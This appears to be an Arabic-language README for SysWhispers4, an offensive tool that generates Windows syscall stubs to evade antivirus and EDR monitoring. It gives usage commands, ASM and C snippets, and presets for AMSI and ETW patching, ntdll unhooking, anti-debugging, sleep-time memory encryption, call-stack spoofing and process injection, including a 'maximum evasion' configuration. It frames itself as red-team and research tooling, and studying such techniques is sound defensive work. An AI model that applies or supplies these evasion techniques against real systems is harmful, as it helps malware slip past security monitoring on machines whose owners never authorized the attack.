SysWhispers4
التهرب من AV/EDR عبر استدعاءات النظام المباشرة وغير المباشرة
Windows NT 3.1 حتى Windows 11 24H2 · x64 · x86 · WoW64 · ARM64
SysWhispers4 هو مولّد أكواد استدعاءات نظام (syscall stubs) مبني على Python، ينتج كود C/ASM لاستدعاء دوال نواة NT مباشرةً، متجاوزًا خطافات وضع المستخدم التي تضعها منتجات AV/EDR على ntdll.dll.
مبني على سلسلة SysWhispers ← SysWhispers2 ← SysWhispers3، يضيف هذا الإصدار المجموعة الأكثر شمولًا حتى الآن من استراتيجيات تحديد أرقام SSN، وطرق الاستدعاء، وقدرات التهرب.
التطوّر: SysWhispers 1 ← 4
مصفوفة مقارنة الميزات
| الميزة | SW1 | SW2 | SW3 | SW4 |
|---|
| تحديد SSN | | | | |
| جدول ثابت مضمّن | ✅ | ✅ | ✅ | ✅ |
| Hell's Gate (تحليل ntdll وقت التشغيل) | ❌ | ✅ | ✅ | ✅ |
| Halo's Gate (مسح جيران الخطافات) | ❌ | ❌ | ✅ | ✅ |
| Tartarus' Gate (قفزة قريبة + بعيدة JMP) | ❌ | ❌ | جزئي | ✅ |
| FreshyCalls (فرز حسب VA) | ❌ | ❌ | ❌ | ✅ جديد |
| SyscallsFromDisk (نسخة نظيفة من ntdll من KnownDlls) | ❌ | ❌ | ❌ | ✅ جديد |
| RecycledGate (FreshyCalls + التحقق من الأوبكود) | ❌ | ❌ | ❌ | ✅ جديد |
| نقطة توقف الأجهزة HW Breakpoint (سجلات DR + VEH) | ❌ | ❌ | ❌ | ✅ جديد |
| احتياط ثابت + ديناميكي | ❌ | ❌ | ❌ | ✅ جديد |
| طرق الاستدعاء | | | | |
مضمّن (syscall مباشر) | ✅ | ✅ | ✅ | ✅ |
| غير مباشر (قفزة jmp إلى gadget في ntdll) | ❌ | ❌ | ✅ | ✅ |
| غير مباشر عشوائي (إنتروبيا لكل استدعاء) |
† تضمّنت طريقة SW3 العشوائية خللًا في إتلاف السجلات — RDTSC يكتب فوق edx (الوسيط 2). يحفظ SW4 بشكل صحيح rdx ← r11 قبل rdtsc ويعيده دون لمس المكدس.
الجديد في الإصدار v4.1
طرق جديدة لتحديد أرقام SSN
SyscallsFromDisk (--resolve from_disk)
يعيّن (maps) نسخة نظيفة من ntdll من \KnownDlls\ntdll.dll ويقرأ أرقام SSN من قسم .text غير المُخطَّف. يتجاوز تمامًا جميع الخطافات المضمّنة — لا يرى EDR القراءة أبدًا.```c
// Flow: NtOpenSection → NtMapViewOfSection → read clean SSNs → NtUnmapViewOfSection
// SSNs come from the on-disk image, guaranteed hook-free
SW4_SyscallsFromDisk(pNtdll);
#### RecycledGate (`--resolve recycled`)
يجمع بين موثوقية FreshyCalls (الفرز حسب VA) والتحقق من opcode من Hell's Gate. لكل دالة:
1. الحصول على SSN المرشح من الموضع المفرز (FreshyCalls)
2. إذا كان الـ stub نظيفًا، تحقق من تطابق SSN مع opcode (فحص مزدوج)
3. إذا كان الـ stub مربوطًا (hooked)، فثق بـ SSN من الفهرس المفرز (مقاوم للربط)
**الطريقة الأكثر مرونة المتاحة** — حتى إذا أعادت hooks ترتيب الـ stubs أو عدّلت opcodes، فإن الفرز حسب VA يعطي SSN الصحيح.
#### HW Breakpoint (`--resolve hw_breakpoint`)
يستخدم **سجلات التصحيح** (DR0–DR3) ومعالج استثناءات متجه (VEH) لاستخراج SSNs دون قراءة بايتات الدالة (التي قد تكون موصولة):
1. تعيين DR0 = عنوان تعليمة `syscall` في stub الخاص بـ ntdll
2. تسجيل معالج VEH
3. الاستدعاء إلى الـ stub — يلتقط VEH الاستثناء `EXCEPTION_SINGLE_STEP`
4. عند نقطة الإيقاف، يحتوي EAX على SSN — التقطه
5. مسح DR0، تخطي syscall، والمتابعة
يعمل حتى عندما تعيد hooks توجيه التنفيذ، لأن نقطة الإيقاف تنطلق بعد `mov eax, <SSN>`.
### تقنيات evasion الجديدة
#### AMSI Bypass (`--amsi-bypass`)
يرقّع `amsi.dll!AmsiScanBuffer` لإرجاع `E_INVALIDARG`، مما يجعل AMSI يعتقد أن وسائط الفحص غير صالحة. إذا لم يكن `amsi.dll` محمّلًا، يُرجع نجاحًا (لا شيء لترقيعه).```c
SW4_PatchAmsi(); // Call early, before any suspicious operations
إلغاء ربط ntdll (--unhook-ntdll)
يُعيّن نسخة نظيفة من ntdll من \KnownDlls\ ويكتب فوق قسم .text المُخطَّف بالبايتات النظيفة:```c
// Call BEFORE SW4_Initialize() for best results
SW4_UnhookNtdll(); // Remove ALL inline hooks from ntdll
SW4_Initialize(); // Now FreshyCalls/Hell's Gate reads clean stubs
يؤدي هذا إلى إزالة جميع الخطافات المضمنة من ntdll تمامًا، مما يجعل استدعاءات NT API اللاحقة تمر عبر مسارات الكود الأصلية.
#### مكافحة التصحيح (`--anti-debug`)
يقوم بإجراء 6 فحوصات لاكتشاف وجود مصحح الأخطاء/أداة التحليل:
| الفحص | التقنية | يكشف |
|-------|-----------|---------|
| 1 | `PEB.BeingDebugged` | التعلق القياسي بمصحح الأخطاء |
| 2 | `NtGlobalFlag` (0x70) | أعلام تصحيح الكومة المحددة من قبل مصححات الأخطاء |
| 3 | دلتا توقيت `RDTSC` | التنفيذ خطوة بخطوة / التتبع |
| 4 | `NtQueryInformationProcess(ProcessDebugPort)` | منفذ تصحيح النواة |
| 5 | تحليل أعلام الكومة | مؤشرات كومة التصحيح |
| 6 | كشف استدعاءات الأدوات | خطافات أدوات EDR |```c
if (!SW4_AntiDebugCheck()) {
// Debugger detected — bail out or take evasive action
ExitProcess(0);
}
تشفير أثناء السكون (--sleep-encrypt)
على غرار Ekko تشفير الذاكرة أثناء السكون لتجنب فحوصات الذاكرة الدورية:
- ولّد مفتاح XOR عشوائيًا عبر
RDTSC
- شفّر قسم
.text الخاص بك باستخدام XOR
- اضبط مؤقتًا قابلًا للانتظار وضع APC في قائمة الانتظار لفك التشفير
- نم في حالة قابلة للتنبيه
- ينطلق المؤقت → يفكّك APC تشفير
.text → يستأنف التنفيذ```c
// Instead of Sleep(5000), use:
SW4_SleepEncrypt(5000); // .text is encrypted during the entire sleep
Defeats:
- ماسحات الذاكرة أثناء السكون (الكود مشفّر وغير مفهوم)
- الفحوصات الدورية للوحدات (التوقيعات لن تتطابق)
- فحوصات YARA/التوقيعات على PE في الذاكرة
---
## جميع الميزات (الحالية + الجديدة)
### طرق حلّ SSN (8 إجمالاً)
| الطريقة | الخيار | مقاومة الربط | السرعة | ملاحظات |
|--------|------|:-:|:-:|-------|
| Static | `--resolve static` | لا شيء | الأسرع | جدول j00ru مضمّن، بدون تحليل في وقت التشغيل |
| Hell's Gate | `--resolve hells_gate` | منخفضة | سريع | يقرأ بايتات الأوبكود — يفشل إذا كان مربوطًا |
| Halo's Gate | `--resolve halos_gate` | متوسطة | سريع | مسح الجيران (±8 stubs) |
| Tartarus' Gate | `--resolve tartarus` | عالية | سريع | يكتشف خطافات E9/FF25/EB/CC، ±16 جيرانًا |
| FreshyCalls | `--resolve freshycalls` | **عالية جدًا** | متوسطة | الترتيب حسب VA — لا يقرأ بايتات الدالة |
| SyscallsFromDisk | `--resolve from_disk` | **قصوى** | بطيء | يعيّن ntdll نظيفًا من القرص |
| RecycledGate | `--resolve recycled` | **قصوى** | متوسطة | FreshyCalls + تحقق متقاطع من الأوبكود |
| HW Breakpoint | `--resolve hw_breakpoint` | **قصوى** | بطيء | سجلات DR + VEH |
### طرق الاستدعاء (4 إجمالاً)
| الطريقة | الخيار | RIP في ntdll | استدعاء النظام على القرص | عشوائي لكل استدعاء |
|--------|------|:-:|:-:|:-:|
| Embedded | `--method embedded` | ❌ | ✅ | ❌ |
| Indirect | `--method indirect` | ✅ | ❌ | ❌ |
| Randomized | `--method randomized` | ✅ | ❌ | ✅ (64 gadgets) |
| Egg Hunt | `--method egg` | ❌ | ❌ | ❌ |
### خيارات التهرب (8 إجمالاً)
| الميزة | الخيار | الوصف |
|---------|------|-------------|
| Obfuscation | `--obfuscate` | إعادة ترتيب الـ stubs + 14 نوعًا من تعليمات الحشو |
| SSN Encryption | `--encrypt-ssn` | XOR بمفتاح عشوائي في وقت الترجمة |
| Stack Spoofing | `--stack-spoof` | عنوان إرجاع اصطناعي من ntdll |
| ETW Bypass | `--etw-bypass` | ترقيع `EtwEventWrite` لإرجاع ACCESS_DENIED |
| AMSI Bypass | `--amsi-bypass` | ترقيع `AmsiScanBuffer` لإرجاع E_INVALIDARG |
| ntdll Unhooking | `--unhook-ntdll` | إعادة تعيين `.text` نظيف من `\KnownDlls\` |
| Anti-Debug | `--anti-debug` | 6 فحوصات كشف (PEB، التوقيت، الكومة، إلخ.) |
| Sleep Encryption | `--sleep-encrypt` | XOR على نمط Ekko لـ `.text` أثناء السكون |
---
## بدء سريع```bash
git clone https://github.com/CyberSecurityUP/SysWhispers4
cd SysWhispers4
# Optional: update syscall table from j00ru (for --resolve static)
python scripts/update_syscall_table.py
# Common preset — FreshyCalls + direct syscall (recommended start)
python syswhispers.py --preset common
# Injection preset — indirect via Tartarus' Gate
python syswhispers.py --preset injection --method indirect --resolve tartarus
# Maximum evasion: all techniques combined
python syswhispers.py --preset stealth \
--method randomized --resolve recycled \
--obfuscate --encrypt-ssn --stack-spoof \
--etw-bypass --amsi-bypass --unhook-ntdll \
--anti-debug --sleep-encrypt
# Clean ntdll from disk — bypasses ALL hooks
python syswhispers.py --preset injection \
--method indirect --resolve from_disk \
--unhook-ntdll
# Hardware breakpoint SSN extraction
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
--resolve hw_breakpoint
# Egg hunt (no syscall opcode on disk)
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
--method egg --resolve halos_gate
# ARM64 (Windows on ARM)
python syswhispers.py --preset common --arch arm64
# x86 / WoW64
python syswhispers.py --preset injection --arch x86
# MinGW / Clang (GAS inline assembly)
python syswhispers.py --preset common --compiler mingw
مرجع سطر الأوامر```
python syswhispers.py [OPTIONS]
Function selection (at least one required):
-p, --preset PRESET common | injection | evasion | token | stealth |
file_ops | transaction | all
-f, --functions FUNCS NtAllocateVirtualMemory,NtCreateThreadEx,...
Target:
-a, --arch ARCH x64 (default) | x86 | wow64 | arm64
-c, --compiler COMPILER msvc (default) | mingw | clang
Techniques:
-m, --method METHOD embedded (default) | indirect | randomized | egg
-r, --resolve RESOLVE freshycalls (default) | static | hells_gate |
halos_gate | tartarus | from_disk | recycled |
hw_breakpoint
Evasion / Obfuscation:
--obfuscate Randomize stub order + inject junk instructions
--encrypt-ssn XOR-encrypt SSN table at rest
--stack-spoof Include synthetic call stack frame helper
--etw-bypass Include user-mode ETW patch function
--amsi-bypass Include AMSI bypass (AmsiScanBuffer patch)
--unhook-ntdll Include ntdll unhooking (remap from KnownDlls)
--anti-debug Include anti-debugging checks (6 techniques)
--sleep-encrypt Include Ekko-style sleep encryption
Output:
--prefix PREFIX Symbol prefix (default: SW4)
-o, --out-file OUTFILE Output filename base (default: SW4Syscalls)
--out-dir OUTDIR Output directory (default: .)
Info:
--list-functions Print all 64 supported NT functions and exit
--list-presets Print all preset definitions and exit
-v, --verbose Verbose output / traceback on error
---
## الملفات المُولَّدة
| الملف | الغرض |
|---|---|
| `SW4Syscalls_Types.h` | تعريفات أنواع NT — الهياكل، التعدادات، typedefs |
| `SW4Syscalls.h` | النماذج الأولية للدوال + `SW4_Initialize()` + تصريحات API للتهرب |
| `SW4Syscalls.c` | حلّ SSN في وقت التشغيل + دوال مساعدة + تطبيقات التهرب |
| `SW4Syscalls.asm` | كعوب استدعاءات النظام بلغة MASM (MSVC) |
| `SW4Syscalls_stubs.c` | كعوب التجميع المضمّن بلغة GAS (MinGW / Clang) |
---
## التكامل (MSVC)
1. أضف الملفات الأربعة جميعها إلى مشروع Visual Studio
2. فعّل MASM: **Project → Build Customizations → masm (.targets)**
3. استدعِ دوال التهيئة عند بدء التشغيل```c
#include "SW4Syscalls.h"
int main(void) {
// Step 1 (optional): Remove ALL hooks from ntdll
// Call BEFORE Initialize for best results
SW4_UnhookNtdll();
// Step 2: Resolve SSNs (required for all dynamic methods)
if (!SW4_Initialize()) return 1;
// Step 3 (optional): Evasion patches
SW4_PatchEtw(); // Suppress user-mode ETW events
SW4_PatchAmsi(); // Bypass AMSI scanning
// Step 4 (optional): Verify clean environment
if (!SW4_AntiDebugCheck()) {
// Debugger detected — take evasive action
return 0;
}
// Use NT functions directly — all via syscall, no API hooks
PVOID base = NULL;
SIZE_T size = 0x1000;
NTSTATUS st = SW4_NtAllocateVirtualMemory(
GetCurrentProcess(), &base, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Use encrypted sleep instead of Sleep()
// SW4_SleepEncrypt(5000); // .text encrypted during sleep
return NT_SUCCESS(st) ? 0 : 1;
}
التكامل (MinGW/Clang)```bash
x86_64-w64-mingw32-gcc -masm=intel
example.c SW4Syscalls.c SW4Syscalls_stubs.c
-o example.exe -lntdll
---
## تقنيات حل SSN
### ثابت
يضمّن أرقام استدعاءات النظام من جدول j00ru المرفق وقت التوليد. لا يحتاج إلى تحليل ntdll في وقت التشغيل — الأسرع والأبسط. الجدول المضمّن هو إشارة كشف؛ استخدم الطرق الديناميكية للتمويه.
### FreshyCalls *(الافتراضي — موصى به)*
يفرز جميع تصديرات `Nt*` من ntdll حسب العنوان الافتراضي. الفهرس بعد الفرز = SSN. يعمل حتى إذا كان **كل** `Nt*` stub مُعترضًا — يقرأ VAs فقط، وليس بايتات الدوال.
### Hell's Gate
يقرأ كود التشغيل `mov eax, <SSN>` مباشرة من كل stub في ntdll:```
4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00
يفشل عندما تُستبدل البايتات الأولى من الـ stub بواسطة خطاف EDR.
Halo's Gate
يوسّع Hell's Gate: عندما يكون الـ stub مربوطًا (hooked)، يفحص الـ stubs المجاورة (±8) في قائمة التصدير المرتبة ويستنتج الـ SSN عبر حساب الإزاحة ±.
Tartarus' Gate
يوسّع Halo's Gate ليكتشف جميع أنماط خطافات EDR:
E9 xx xx xx xx — قفزة نسبية قريبة
FF 25 xx xx xx xx — قفزة مطلقة بعيدة عبر الذاكرة
EB xx — قفزة قصيرة
CC — نقطة توقف int3
E8 xx xx xx xx — استدعاء (نادر)
يفحص حتى 16 جارًا في الاتجاهين.
SyscallsFromDisk (يتجاوز جميع الخطافات)
يعيّن نسخة نظيفة تمامًا من ntdll من \KnownDlls\ntdll.dll ويقرأ SSNs من قسم .text النقي. خطافات EDR غير ذات صلة — لا نقرأ أبدًا من النسخة المربوطة.
RecycledGate (الأكثر مرونة)
يجمع بين FreshyCalls و Hell's Gate لتحقيق أقصى ثقة:
- الأساسي: فهرس مرتب حسب VA (FreshyCalls)
- التحقق: فحص مشترك للـ opcode إذا كان الـ stub نظيفًا
- الاحتياط: الثقة بترتيب VA إذا كان الـ stub مربوطًا
حتى إذا عدّل EDR كلاً من الخطافات ومدخلات جدول التصدير، فإن ترتيب VA لا يزال يوفر SSN الصحيح.
HW Breakpoint (متقدم)
يستخدم سجلات تصحيح أخطاء وحدة المعالجة المركزية (DR0–DR3) لتعيين نقاط توقف أجهزة على تعليمات syscall داخل ntdll. يلتقط معالج الاستثناءات المتجهة (VEH) نقطة التوقف ويقرأ SSN من EAX عند تلك النقطة. لا يقرأ أي بايتات يحتمل أن يكون قد عبث بها.
طرق الاستدعاء
المضمّنة — استدعاء مباشر
يعيش syscall داخل الـ stub الخاص بك. عند دخول النواة، تشير RIP إلى داخل PE الخاص بك — وهو أمر يمكن اكتشافه بواسطة EDRs التي تتحقق من RIP غير القادم من ntdll.
غير مباشرة
يقفز إلى أداة (gadget) syscall;ret موجودة مسبقًا داخل ntdll.dll. عند دخول النواة، يظهر RIP كما لو كان داخل ntdll — مطابقًا لاستدعاء API شرعي.
غير مباشرة عشوائية
مثل غير المباشرة، لكنها تختار أداة عشوائية من مجموعة تصل إلى 64 في كل استدعاء. تهزم استدلالات EDR التي تضع قائمة بيضاء لعناوين أدوات ntdll محددة. تستخدم RDTSC للإنتروبيا — لا حاجة لاستدعاء API.```asm
SW4_NtAllocateVirtualMemory PROC
mov r10, rcx ; arg1 → r10 (syscall ABI)
mov r11, rdx ; SAVE rdx — rdtsc trashes edx!
rdtsc ; eax:edx = TSC (clobbers edx)
xor eax, edx ; mix
and eax, 63 ; pool index (0..63)
lea rcx, [SW4_GadgetPool]
mov rcx, QWORD PTR [rcx + rax8] ; random gadget
mov rdx, r11 ; RESTORE rdx
mov eax, DWORD PTR [SW4_SsnTable + N4]
jmp rcx ; → random ntdll syscall;ret
SW4_NtAllocateVirtualMemory ENDP
### البحث عن البيضة
تحتوي الـ Stubs على علامة بيضة عشوائية من 8 بايت بدلاً من `syscall`. تقوم الدالة `SW4_HatchEggs()` بفحص مقطع `.text` عند بدء التشغيل واستبدال كل بيضة بـ `0F 05 90 90 90 90 90 90`. **لا يظهر أي opcode خاص بـ `syscall` في الملف الثنائي على القرص.**
---
## مشهد كشف EDR
| ناقل الكشف | المدمج | غير المباشر | العشوائي | البيضة |
|---|:-:|:-:|:-:|:-:|
| تجاوز خطافات وضع المستخدم | ✅ | ✅ | ✅ | ✅ |
| RIP داخل ntdll عند syscall | ❌ | ✅ | ✅ | ❌ |
| لا يوجد `0F 05` في الملف الثنائي على القرص | ✅¹ | ✅ | ✅ | **✅** |
| gadget عشوائي لكل استدعاء | ❌ | ❌ | **✅** | ❌ |
| مكدس استدعاء نظيف | with `--stack-spoof` | with `--stack-spoof` | with `--stack-spoof` | with `--stack-spoof` |
| تجنّب فحص الذاكرة أثناء السكون | with `--sleep-encrypt` | with `--sleep-encrypt` | with `--sleep-encrypt` | with `--sleep-encrypt` |
| تجاوز ETW-Ti على مستوى النواة | ❌ | ❌ | ❌ | ❌ |
¹ الأوبكود `syscall` موجود في مقطع `.text` الخاص بـ PE الخاص بك — على عنوان الكود الخاص بك، وليس ntdll.
> **ETW-Ti** (`Microsoft-Windows-Threat-Intelligence`) يشتعل داخل النواة بغض النظر عن طريقة الاستدعاء. لا يمكن لأي تقنية في وضع المستخدم تجاوزه دون الوصول إلى النواة.
---
## غوص عميق في تقنيات التهرب
### جدول SSN المشفّر بـ XOR (`--encrypt-ssn`)
يتم تخزين قيم SSN بشكل XOR مع مفتاح عشوائي وقت الترجمة. يتم فك تشفيرها في كعب ASM مباشرة قبل syscall — لا يظهر أي SSN نصي صريح في الملف الثنائي عند التخزين.```c
#define SW4_XOR_KEY 0xDEADF00DU
// In SSN table: encrypted value
SW4_SsnTable[fi] = sortedIndex ^ SW4_XOR_KEY;
; In stub: decrypt before syscall
mov eax, DWORD PTR [SW4_SsnTable + N*4] ; encrypted
xor eax, SW4_XOR_KEY ; decrypt
syscall
انتحال مكدس الاستدعاءات (--stack-spoof)
ترامبولين يستبدل عنوان الإرجاع الظاهر على المكدس بمؤشر إلى ntdll، مما يجعل سلسلة الاستدعاءات تبدو مشروعة لأدوات EDR التي تتنقل عبر المكدس.```asm
SW4_CallWithSpoofedStack PROC
pop r11 ; save real return address
push [SW4_SpoofReturnAddr] ; push ntdll address instead
push r11 ; real address below (unreachable by walker)
jmp rax ; execute target
SW4_CallWithSpoofedStack ENDP
### تجاوز ETW (`--etw-bypass`)
يقوم بتصحيح `ntdll!EtwEventWrite` لإرجاع `STATUS_ACCESS_DENIED` فورًا، مما يمنع تسليم أحداث ETW في وضع المستخدم.
> هذا **لا** يتجاوز استدعاءات ETW-Ti في وضع النواة. استخدمه فقط في الاختبارات المصرح بها.
### إزالة خطاف ntdll (`--unhook-ntdll`)
يقوم بتعيين نسخة نظيفة من ntdll من `\KnownDlls\` وينسخ عبر `memcpy` قسم `.text` النظيف فوق القسم المُخطَّف:```
Flow: NtOpenSection → NtMapViewOfSection → FindSection(".text") →
VirtualProtect(RWX) → memcpy(clean→hooked) → VirtualProtect(RX) → cleanup
استدعِ قبل SW4_Initialize() لضمان أن حلّ SSN يقرأ stubs نظيفة.
تعليمات الحشو (--obfuscate)
14 متغيرًا مختلفًا من تعليمات x64 غير الضارة تُحقن بين تعليمات stubs:```asm
nop ; classic NOP
xchg ax, ax ; 2-byte NOP
lea r11, [r11] ; no-op LEA
nop DWORD PTR [rax] ; multi-byte NOP
xchg r11, r11 ; register swap (no-op)
test r11d, 0ABh ; flags-only, result discarded
push 042h / pop r11 ; push-pop noise
fnop ; FPU no-op
lea rsp, [rsp + 00h] ; stack identity LEA
; ... and more
---
## الوظائف المدعومة (64)```bash
python syswhispers.py --list-functions
الإعدادات المسبقة
الإعدادات الموصى بها
أقل بصمة اكتشاف (الفريق الأحمر)```bash
python syswhispers.py --preset stealth
--method randomized --resolve recycled
--obfuscate --encrypt-ssn --stack-spoof
--unhook-ntdll --etw-bypass --amsi-bypass
--anti-debug --sleep-encrypt
### سريع وبسيط (CTF / اختبار سريع)```bash
python syswhispers.py --preset common
تجاوز أنظمة EDR شديدة الربط```bash
python syswhispers.py --preset injection
--method indirect --resolve from_disk
--unhook-ntdll --encrypt-ssn
### Process Doppelganging```bash
python syswhispers.py --preset transaction \
--method indirect --resolve freshycalls
تغطية جدول استدعاءات النظام
تم التحديث عبر scripts/update_syscall_table.py من j00ru/windows-syscalls:
| نظام التشغيل | الإصدارات المغطاة |
|---|
| Windows 7 | SP1 (7601) |
| Windows 8 / 8.1 | RTM (9200, 9600) |
|
دعم البنى
هيكل المشروع```
SysWhispers4/
├── syswhispers.py # CLI entry point
├── core/
│ ├── models.py # Enums, dataclasses (8 resolution, 4 invocation methods)
│ ├── generator.py # Code generation engine (~1900 lines)
│ ├── obfuscator.py # Obfuscation: junk, eggs, XOR, string encryption
│ └── utils.py # Hashes (DJB2, CRC32, FNV-1a), data loading
├── data/
│ ├── prototypes.json # 64 NT function signatures
│ ├── presets.json # 8 function presets
│ ├── syscalls_nt_x64.json # x64 SSN table (Win7–Win11 24H2)
│ └── syscalls_nt_x86.json # x86 SSN table
├── scripts/
│ └── update_syscall_table.py # Auto-fetch latest j00ru table
└── examples/
└── example_injection.c # Reference integration example
---
## إشعار أمني
SysWhispers4 هو أداة أبحاث أمنية واختبار اختراق مصرح به. استخدمها فقط:
- على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها
- في مسابقات CTF
- للبحث الدفاعي (فهم التقنيات الهجومية لتحسين الاكتشاف)
- لتطوير توقيعات منتجات الأمن
الاستخدام غير المصرح به ضد أنظمة لا تملكها غير قانوني في معظم البلدان.
---
## المراجع والإسناد
| المورد | المؤلف(ون) |
|---|---|
| [SysWhispers](https://github.com/jthuraisamy/SysWhispers) | Jackson T. (jthuraisamy) |
| [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2) | Jackson T. (jthuraisamy) |
| [SysWhispers3](https://github.com/klezVirus/SysWhispers3) | klezVirus |
| [SysWhispers3 fork](https://github.com/RWXstoned/SysWhispers3) | RWXstoned |
| [Windows Syscall Tables](https://github.com/j00ru/windows-syscalls) | j00ru |
| [Hell's Gate](https://github.com/am0nsec/HellsGate) | am0nsec, RtlMclovin |
| [Halo's Gate](https://sektor7.net) | SEKTOR7 |
| [Tartarus' Gate](https://github.com/trickster0/TartarusGate) | trickster0 |
| [FreshyCalls](https://github.com/crummie5/FreshyCalls) | crummie5 |
| [RecycledGate](https://github.com/thefLink/RecycledGate) | thefLink |
| [Ekko Sleep Obfuscation](https://github.com/Cracked5pider/Ekko) | C5pider |
| [LayeredSyscall](https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/) | White Knight Labs |
| [Call Stack Spoofing](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) | WithSecure Labs |
| [SysWhispers Evolution Analysis](https://sudosiddharths.medium.com/analyzing-the-evolution-and-execution-of-syswhispers-1-3-74cbbcdaf397) | Siddharth S. |
---
## الترخيص
تم إصدار هذا المشروع لأغراض تعليمية واختبارات أمنية مصرح بها.